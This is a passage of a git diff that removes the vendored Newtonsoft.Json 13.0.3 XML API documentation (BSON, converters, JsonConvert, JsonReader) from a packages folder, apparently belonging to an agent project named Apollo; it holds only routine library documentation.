-- [Release Notes](https://github.com/JamesNK/Newtonsoft.Json/releases) -- [Contributing Guidelines](https://github.com/JamesNK/Newtonsoft.Json/blob/master/CONTRIBUTING.md) -- [License](https://github.com/JamesNK/Newtonsoft.Json/blob/master/LICENSE.md) -- [Stack Overflow](https://stackoverflow.com/questions/tagged/json.net) diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml deleted file mode 100644 index bdc46223..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml +++ /dev/null @@ -1,10393 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error 